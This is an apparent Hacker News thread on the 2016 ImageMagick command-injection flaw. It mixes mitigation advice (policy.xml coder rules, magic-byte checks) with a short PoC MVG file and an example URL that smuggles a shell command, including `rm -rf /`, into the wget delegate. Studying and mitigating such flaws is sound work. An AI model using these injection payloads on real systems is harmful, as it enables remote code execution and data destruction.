So judging by this commit[1] and this line[2] I reckon you could somehow escape the "wget" command (assuming that's what it invokes here[3]). The following characters were removed in the commit: ' ', '"', "'", '`', '<', '\\', '>'.<p>If so then it's not complicated file formats or buffer overflows, it's an improperly escaped 'system' call being fed user input in an obscure feature that probably shouldn't have been included in the first place. Party like it's 1999 guys.<p>Edit: I'm pretty sure this is an RCE issue. This function[4] replaces the placeholders in the wget command, which is this: `wget -q -O "%o" "https:%M"`<p>So seeing as %M is user controlled we can feed it a URL like "//hacker.com/`rm -rf /`" and it will blindly pass it to the shell. Wow.<p>1. <a href="https://github.com/ImageMagick/ImageMagick/commit/a347456a1ef3b900c20402f9866992a17eb5d181" rel="nofollow">https://github.com/ImageMagick/ImageMagick/commit/a347456a1e...</a><p>2. <a href="https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L99" rel="nofollow">https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44...</a><p>3. <a href="https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L418" rel="nofollow">https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44...</a><p>4. <a href="https://github.com/ImageMagick/ImageMagick/blob/32bdefdc31f122591569ffa5085794565ff3b117/MagickCore/property.c#L3170" rel="nofollow">https://github.com/ImageMagick/ImageMagick/blob/32bdefdc31f1...</a>
PoC: save as file.mvg and then run convert file.mvg o.png<p>viewbox 0 0 1 1
image over 0,0 0,0 '<a href="https://test/"" rel="nofollow">https://test/"</a> && touch /tmp/hacked && echo "1'
Full story by one of the 2 finders on the oss-security@openwall mailing list: <a href="http://www.openwall.com/lists/oss-security/2016/05/03/18" rel="nofollow">http://www.openwall.com/lists/oss-security/2016/05/03/18</a>
Apparently Paperclip library already covered this long before this vulnerability is published.<p><a href="https://github.com/thoughtbot/paperclip/issues/2190#issuecomment-216638180" rel="nofollow">https://github.com/thoughtbot/paperclip/issues/2190#issuecom...</a>
I wonder if the same issue exist in GraphicsMagick.<p>Also, I am surprised how few people have switched from ImageMagick to graphocksMagic, given that the fork happened back in 2002 and that it offers significant improvements.<p><a href="http://www.graphicsmagick.org/" rel="nofollow">http://www.graphicsmagick.org/</a>
No PoC, but ImageMagick commit history might lead to some clues <a href="https://github.com/ImageMagick/ImageMagick/commits/master" rel="nofollow">https://github.com/ImageMagick/ImageMagick/commits/master</a><p>edit: PoC here <a href="https://news.ycombinator.com/item?id=11624056" rel="nofollow">https://news.ycombinator.com/item?id=11624056</a> though I haven't ran it myself.
For Heroku, which has a read-only filesystem for /etc, we did this: <a href="https://gist.github.com/yanowitz/8329d8b27d8294ca7027f504326fd629" rel="nofollow">https://gist.github.com/yanowitz/8329d8b27d8294ca7027f504326...</a>
Has anyone determined if Python Wand is affected also? <a href="http://wand-py.org" rel="nofollow">http://wand-py.org</a><p>Edit: Or any other libmagickwand based project for that matter.
Also make sure you don't use it for any image formats that are processed by logic with the complexity of a small command-line interpreter. You'll risk a lot of XXE vulns with formats like SVG or MVG. To see some examples of said logic, have a look at 'convert -list delegate', for example.
Shouldn't there also be the HTTP coder included also? <policy domain="coder" rights="none" pattern="HTTP" /><p>Also - would an example of using a HTTPS coder be:<p>convert <a href="https://example.com/rose.jpg" rel="nofollow">https://example.com/rose.jpg</a> ~/rose.png
For our use case, the only input formats we need to support are GIF, JPG and PNG.<p>Using policy.xml to disable EPHEMERAL, URL, HTTPS, MVG and MSL is a nice start, but is it also possible to disable PDF, open office, FTP and others? Where would I find a list of all the supported coders?
<a href="http://nowere.net/b/res/127615.html#i129473" rel="nofollow">http://nowere.net/b/res/127615.html#i129473</a>
This russian forum may contain some clues.
Does anybody have a library (prefer JavaScript) for inspecting files and extracting the file type using "magic bytes"[1]. Seems like most people probably blindly use mime-type, which appears to be incorrect and insecure.<p>[1] <a href="https://en.wikipedia.org/wiki/List_of_file_signatures" rel="nofollow">https://en.wikipedia.org/wiki/List_of_file_signatures</a>
Would using a libmagic based tool to detect the magic bytes and content type be a valid mitigation strategy? The Node library mmmagic (<a href="https://github.com/mscdex/mmmagic" rel="nofollow">https://github.com/mscdex/mmmagic</a>) already does this.
We posted some more details here:<p><a href="https://blog.sucuri.net/2016/05/imagemagick-remote-command-execution-vulnerability.html" rel="nofollow">https://blog.sucuri.net/2016/05/imagemagick-remote-command-e...</a>
I love that security vulenarabilities have names now. I think it's great for awareness.<p>But when you have magic in the software's name you could do better then ImageTragic.<p>... though none come to me right now
So, we get it. Complicated file and network formats, handled in C code leads to these types of security issues.<p>We are told that Rust will save us. Glib answer - if it was going to, it already would have (and this is from someone already writing Rust code).<p>I hope it will lead to a change on two fronts:<p>1. Simpler formats for file representation and data interchange. When someone tries to add an extra bitfield option, say no. When they keep trying, get a wooden stick with "no" written on it. Part of the disease of modern computing is bloated specs.<p>2. Restrictive not permissive code bases. Exit and bail out early. Tell the user "file corrupted". Push back.